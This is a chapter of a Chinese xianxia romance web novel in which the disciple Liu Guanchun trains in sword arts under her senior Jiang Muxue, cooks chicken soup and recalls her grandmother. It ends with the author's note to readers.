柳观春浑身惫懒,她躺着不动,底下垫着软绵绵的雪兔毛毯,想来是江师兄从她的藏宝珠里取出来的。柳观春心里有点忐忑,亦有点欢喜,就好像病了的孩子能得到父母亲许多关怀那般,她也得到了江师兄的悉心照顾。真好。 柳观春记得很久很久以前,每次生病她都会被外婆留在家里。 不用上学,柳观春高兴坏了,一边想围着外婆打转,一边又怕被外婆说病得太轻,还得去学校补课。 每次生病,外婆都会用柚子叶煮水给柳观春洗澡。柚子叶能够驱邪避祟,这样便可保护柳观春不招邪物,身体建康。 柳观春还会趁外婆做饭的时候,从老样式的漆木立柜里拿出一块巧克力塞嘴里。这是外婆去参加婚礼带来的喜糖,老人家只吃得惯奶糖,其他果冻、巧克力,全省下给自家娃娃吃。除此之外,外婆还会给她熬清淡的鸡汤。汤里只放几根晒干的黄花菜、一点盐、几勺去腥的农家米酒。鸡汤味道鲜美,带点清淡的酸味,很好喝。 小时候的幸福,仅仅用一块糖、一碗汤就能满足。 柳观春受了伤,喉咙里的血气还没咽下。她吞了吞唾沫,侧头望向江暮雪,忽然小声地问:“师兄,你会熬鸡汤吗?” 江暮雪抬起压在柳观春脉搏上的手指,垂眉敛目看她一眼:“不算擅长。” 师兄的神情平静温蔼,如同神坛上波澜不惊的慈悲佛像。 他体恤世人,因此这份温柔也惠及了她。 柳观春笑了笑:“等我伤好了,我熬鸡汤带师兄一份吧?” 江暮雪:“好。” 他应下一声后,心中又浮起疑惑。 按理说任何人身受重伤,醒转之后都会问问自身的情况,问问昏迷之前都发生了什么。可柳观春没有好奇心,她毫不在意,就仿佛……捡回来一条命也好,死在幻境里也罢,她并不害怕柳观春没有求生欲。 既不求生,又为何日日笑容满面? 江暮雪参不透她。 柳观春按了按小腹和胸口,身上的伤已经愈合,她不觉疼痛了。 倒是辛苦师兄,上次送她疗伤的丹药,这次竟直接给她输送灵流。 但柳观春不知的是,江暮雪之所以能给她输送灵气,完全是他强硬地压制了她体内另一股力量。 而那股力量倒是个见好就收的主儿,知道江暮雪强势,竟也没有再冒头和他作对。 只是江暮雪此前窥探柳观春灵域的事到底逾矩,事后细想,他也觉得自己有些失常。他竟不知,因悲悯而生出的同情,会如此磨人。 兴许要尽快完成试炼,回到玄剑宗。 如此才能名正言顺舍下柳观春。 柳观春坐直了身子,她仰头望天,这时才发现,入冬后,山林尽头已经开始飘雪了。 绒毛一般的雪花落到潇潇翠竹上,纤薄如刃的竹叶被雪团压得轻晃,竹竿轻颤,又把雪絮抖到一旁。 山中景致优美,极静谧,也极舒心。 柳观春爬起来,一声不吭坐着,和江师兄共赏良辰。 没一会儿,江暮雪从自己的藏宝珠里取出好几本页面泛黄的剑诀与心法,递到柳观春面前。 江暮雪道:“今日起,你须每日背下四十页,夜里我还会抽空教授你其他剑招。” 天背诵四十页心诀,还要练习剑术,分明是拔苗助长的行径,在这样高压的课业下,柳观春竟还能笑得出来。 她高兴地点头:“好,我会努力学习,不负师兄期望。” 柳观春信赖江师兄,知道他全是为了自己好。正所谓严师出高徒,江师兄要拉着她进步,她有什么理由拒绝?况且,能得人指点,是柳观春求之不得之事。可柳观春应得太快,又让江暮雪莫名生出一丝难言的窒闷。 江暮雪想让柳观春尽快“出师”,想要她尽早有自保的能力,如此他便不会总见她陷入困境,亦不会心生同情,屡次对柳观春施以援手。 江暮雪意欲远离柳观春,如此才能使自己的道心稳固,大道坦途。他的行径不合常理,破绽百出,可偏偏柳观春毫无察觉,也没有追问。 因她的不闻不问,竟也让江暮雪心生不平。 为什么? 江暮雪想,兴许是他一贯站在风雪之巅睥睨世人,他看似漠视万物,实则心性自负。他喜欢世事从来尽在掌握,偏偏生出柳观春这一个变数。 江暮雪不喜欢这种失控感………因他畏惧,所以会渴望舍弃她。 只要将柳观春遗忘,一切都会回归原点。 他们本就不该有交集。 柳观春想喝鸡汤,但大半夜的,她也不知上哪去找山鸡。 柳观春爱折腾,她想了个法子。 女孩故意用剪刀将符纸剪出人形,又对着白花花的纸人吹了一口灵气,纸人很快晃晃手、扭扭腰,动了起来。 柳观春命它们一字排开,又用木棍画出山鸡的样子,将这个形象传达给纸人,然后命它们四下巡逻,如找到“可疑鸡”一定要尽早回来禀报。 江暮雪打坐调息一个小周天后,一抬眼就看到柳观春撅着屁股趴在地上,口中念念有词,叨叨着:“要吃鸡,要肥美的跑山鸡。” 再一看柳观春手上银剪法器,江暮雪心中了然。 柳观春使的是傀儡追踪术,一般这种术法都是用来追逐敌人,抑或是寻找失散的队友……用来狩猎寻吃食,江暮雪倒是第一次见。她倒是……很有巧思。 柳观春本在背心诀,一时嘴馋开了小差,偏她回头,正好迎上江师兄清冷的目光。 柳观春脊背发麻,小声解释:“我有在好好背书,傀儡术不过是顺手剪了几只。” 她不想让江师兄觉得自己懒惰贪玩。 江师兄的表情一贯肃穆,柳观春看不出他是否生气 但幸好江暮雪没有怪罪,只淡扫她一眼,问:“无相心诀第三十六篇讲的什么?” 柳观春陡然听到江师兄冷寂低沉的嗓音,意识到他在抽背。 少女连忙端正学习态度,正襟危坐,流利地背诵:“天地容心,灵通阴阳………” 她的背书声朗朗,口齿清晰,并无敷衍搪塞之意。 柳观春从小最擅长的事就是背书。正因如此,即便她数学这门课学得不好,考试时只要她牢记公式,分数就不会太难看。 小时候的家长会,来学校参加的人都是年轻家长,唯有柳观春是留守儿童,只能让老迈的外婆前来学校旁听。 要是她的成绩不好,老师就会语重心长地提醒外婆,希望外婆能找识字的人辅导柳观春学业,班级平均分总不能被她一个人拉下。 柳观春的外婆出身乡下,少时是抱养的孩子,家人只让她帮忙带弟弟妹妹,没有钱供她读书识字。还是柳观春长大了,特地教外婆一些好认的汉字,让外婆摆脱文盲这个头衔。 小时候的柳观春知道自己成绩不算好,本以为会家长会结束,她一定会挨外婆的骂,可外婆非但没有骂她,回家的时候还顺手给她带了最爱吃的糖渍麻花。 打那以后,柳观春愈发奋发向上地读书,她不想外婆再在家长会上遭人奚落,也不想有人背地里笑话柳观春有娘生没娘教,只能跟着老人讨生活,所以她的成绩才这样差。 柳观春一字不差地背完一整篇心诀,江暮雪满意颔首。 柳观春忽然抬头望他,目光灼灼:“江师兄,如果有一天,我和其他修士打斗输了,我绝对不会报出你的名号。” 她师承江瑜,总不能自己学艺不精,还连累江师兄也遭人讥讽。 江暮雪没明白柳观春话中意思,但不妨碍他继续教学。 心诀背好,江暮雪又召出伏雪剑,渡来剑气,敲了下柳观春的膝盖,示意她站起身。 柳观春迅速爬起来,拍了拍手上黑泥,也并指召出竹骨剑,紧握手中。 夜风呼啸,卷起柳观春双环髻上的锦葵红丝绦。纤细的一道红,横于寒芒迸发的剑柄上。 对战开始,柳观春连忙竖起长剑,做了个起手式,准备御敌。 少女明亮的杏眼倒映在泛光的剑身,竹影潇潇,手中竹骨剑因竹林之故,寸寸生长,剑气凌冽。 柳观春想到方才记住的剑招,先是使出了奔星剑法,将手中剑气凝成火团一般大小的红球,又借助挥剑的风势,将火星尽数扫出。 砰的几声巨响。 熊熊燃烧的火球还没来得及碰上江暮雪衣袖,便被他旋身避开。柳观春见偷袭不成,又要腾跃而上,追着江师兄劈砍。然而不等她沾上江暮雪的衣袍,后脊便被剑鞘轻轻戳了一下。柳观春明白,她的破绽被江暮雪找到,她已经输了。师兄不会用剑伤她,只能以剑鞘来提示她认输。柳观春没有丧气,她调整剧烈的呼吸,继续对招。 不知比了第几场,江暮雪忽然道:“若是不擅使用灵力,那便练习敏捷的身法。世间功法,唯快不破。若你能避开修士的杀招,便有机会寻到对方的破绽,一击制胜。”柳观春确实不擅长搭配灵域来御敌,她不知道这是因为她的灵根实乃旁人移植,并非天生地养。还当是自己的穿越体质不同,所以才会生来就与灵力相斥。柳观春虚心求教:“我该如何练习身法?” 江暮雪思索片刻,扬袖抬手,掌心蓄满灵力。不过轻轻振袖,立马幻化出两个与他身材差不多大小的木偶,推向柳观春。 “我会从旁操控木偶,陪你喂招。等到你何时能避开它们二人合围,便是身法大成之时。” 柳观春点头,她知道江师兄也要修炼,不可能无休无止地陪她喂招。 他肯分出一丝心神陪她操练,已经是仁至义尽。 趁着江暮雪打坐修炼时,柳观春朝木偶勾勾小指,引它们来远一点的竹林比试。 柳观春在四面八方都燃上可以视物的火符,再度召剑厮杀。 即便面对灵力操控的木偶,她也没有掉以轻心或是轻敌,只是木偶复制了江暮雪大半的力量,又有他的一缕神识,下手便有点没轻没重。 柳观春几次被木剑击飞,摔到竹林间。 她腰酸背痛,脸上、手上全是污泥,但即便这样狼狈,她也打得很是过瘾,很是酣畅淋漓。 也因为眼前的陪练对象不是江师兄,只是两个木偶,柳观春心里没有那么多顾虑,反倒能放开手脚厮杀。 这一次,不仅柳观春浑身狼藉,就连两个木偶身上都沾满了竹叶和污泥。 打到最后,竹骨剑被没有君子风度的木偶击飞,柳观春也被木偶一脚踹出场外。 柳观春受此大辱,既然身手没木偶快,那就看看她的拳头硬不硬。 柳观春杀红了眼,冲上去扑倒木偶,拉着它泥潭混战,甚至是出拳肉搏。 反正只是为了赢,狼狈一点又怎么样? 柳观春不知的是……两个木偶虽然只是江暮雪信手捏出的傀儡,但他也将一丝神识凝进木偶脑袋,以防木偶继承了元婴修士的一部分的力量,打起弟子来毫不手软。 因此,只要江暮雪听到远处传来激烈的动静,他便会神识出窍,钻进木偶体内调整陪练木偶的战意,防止它伤到柳观春。 可江暮雪没想到的是,柳观春的好胜心原来这样强,缠斗起来有一种不死不休的孤勇,竟会跨坐在木偶身上,下死手揍人。 江暮雪微微一怔,但很快他便收回傀儡术,将两个木偶拍扁。 柳观春打得尽兴,连手骨上淋漓的血迹都没注意到。 直到木偶消失,柳观春冷不防坐空,落到地上,和眼前那只缩小百倍的白纸偶人大眼瞪小眼,她意识到比试结束了。 柳观春茫然望向密林深处的那个飘逸身影。 江暮雪还在林中打坐,只是他大半身子被翠盖梧桐遮蔽,影影绰绰瞧不真切。 很快,一道清越的嗓音传来:“明日再练。” 柳观春认出那是师兄的声音,她看了一眼计时罗盘,已是亥时,确实夜深了。 柳观春见好就收,她施加一个清洁术法,扫去周身泥泞,还用药疗愈了磨破的手骨。这种无伤大雅的小伤疤,柳观春自己就能处理。 柳观春汗津津的衣袍已经用术法清理干净,只是头发乱成一团还没空梳好。 思及至此,柳观春索性扯下头绳,先和江师兄打声招呼,她再慢慢打理。 等江暮雪听到动静,睁开一双寒冽凤眸,入目便是披散乌发的柳观春。 少女杏眸清亮剔透,眼尾晕红,艳若远山芙蓉。她迎上江暮雪的目光,朝他弯唇一笑:“师兄,我若是在你身边起灶做饭,会不会吵到你?” 江暮雪摇摇头。 但他不解的是,柳观春已经辟谷,为何还有一日三餐进食的习惯? 许是男人眼中的狐疑之意太过明显,柳观春一边堆垒灶台,一边和他解释:“以前当凡人的时候,总担心吃太多会发福,虽然那时候我家境贫寒也实在没什么东西吃………但现在是修仙之体,怎么吃都不会胖,自然要放纵一下!" 江暮雪艰涩地问:“所以,你用饭,并非为了果腹,只是想解馋?” 柳观春连连点头:“正是!” 没等她再和江暮雪说什么,放出的纸人忽然叽叽叽地跑回来了。 柳观春见状,立马拿起竹骨剑,凌空跃出一里地。 她想到江师兄落在后头,忙折一只粉鹤给江暮雪传信——她只是杀一只奸诈的山鸡精,很快就回来。 半个时辰后,柳观春带着她的战利品回到了江暮雪身边。 柳观春手里的山鸡已经被扒皮剁肉,处理得很干净,只待她熬汤炖煮。 柳观春今日又多学了两套剑法,剑术也大有提升,她很知足,也决定用鸡汤感谢一下江师兄。 于是她熬汤的时候,特地添了两人份的水量,又从藏宝珠里摸出黄花菜、干蘑菇等等提鲜的配菜,放到锅里一同熬煮。 大铁锅煨着鸡汤,柳观春百无聊赖,只能翻出心决,继续背诵。 柳观春刚背完一整篇无相心诀,江暮雪忽然唤她:“柳师妹。” “啊?”柳观春抬头,呆呆地望着这位清隽秀致的师兄,“怎么了?” 江暮雪想到此前莲花镇的事,想到柳观春在幻境里见到一位“师兄”,并且对他献吻……莫名的,有些在意。 他权当是关怀师妹,冷声问:“在玄剑宗中,你可有其他相熟的师兄?” 柳观春眼睫扑闪,不解地道:“为何这样问?” 江暮雪垂眸,指骨无意识地一颤。他至今还记得唇上温热的触感,只是这种事不好教旁人知晓。 江暮雪偏头,静静地看着她:“你陷进幻境的时候………喊过那位师兄。” 柳观春顿时醒悟,看来江师兄说的是江暮雪……是她幻境里出现的夫君。 柳观春想起江暮雪,心情很好。她虽然知道自己现在和大师兄毫无瓜葛,但她受过江暮雪的关照,对他的印象一直很好。 柳观春笑着点头:“确实有那么一位相熟的师兄。” 江暮雪听了,心想:柳观春与那个男修的关系都近到会有肌肤相亲,可她在宗门孤立无援的时候,此人却没有出面相帮,可见是薄情寡义之人。 他又记起柳观春体内仍有外人残留的神识…….若是那位师兄所为,也可从中觉察出此人卑劣。 柳观春心性纯善,他还是想提醒她一句:“知人知面不知心,即便相熟,也得事事提防。特别是男修,宗门里亦常有不守夫德的男弟子在外勾三搭四,背弃道侣的事发生……师妹若是与其合籍成婚,须得事事 留心。” 江师兄语重心长的教诲,令柳观春感到十分温暖。 柳观春当然明白江师兄是为她好,他误会江暮雪是绝世渣男,怕她被骗,这才私底下拿话敲打她。 柳观春想到江暮雪眉心如火的守元印,她扬唇浅笑:“江师兄多虑了,那位师兄是位无情道剑君,大概…不会对我生出道侣之情。” 江暮雪错愕。 无情道剑君,那看样子,柳观春口中师兄,并非苏无言。 只是修习无情剑的男弟子居然与女修神交?此人枉顾道法,何等衣冠禽兽… 江暮雪想到法门这种竟出了此等败类,心里还是难以接受。 就连伏雪剑也忍不住浮出灵域,怒骂一句:真是畜生啊! 作者有话说?显示所有文的作话 第21章下山(十一) 感谢小天使们的4个霸王票、127瓶营养液~ 40红宝么么哒 家长会那个,小时候因为留守儿童只有老人带着,所以也遇到一些不尊重人的老师和家长,但是大家都好好长成了温柔可靠的大人,所以我们观春宝宝也是最棒的~明天接着更新~ 我打算开的新文,感兴趣的小天使点进去收藏一个吧~ 忘岛 重生成前夫的妹妹 怀上前夫他哥的 崽 笼中雪 我死后剑尊师兄 黑化了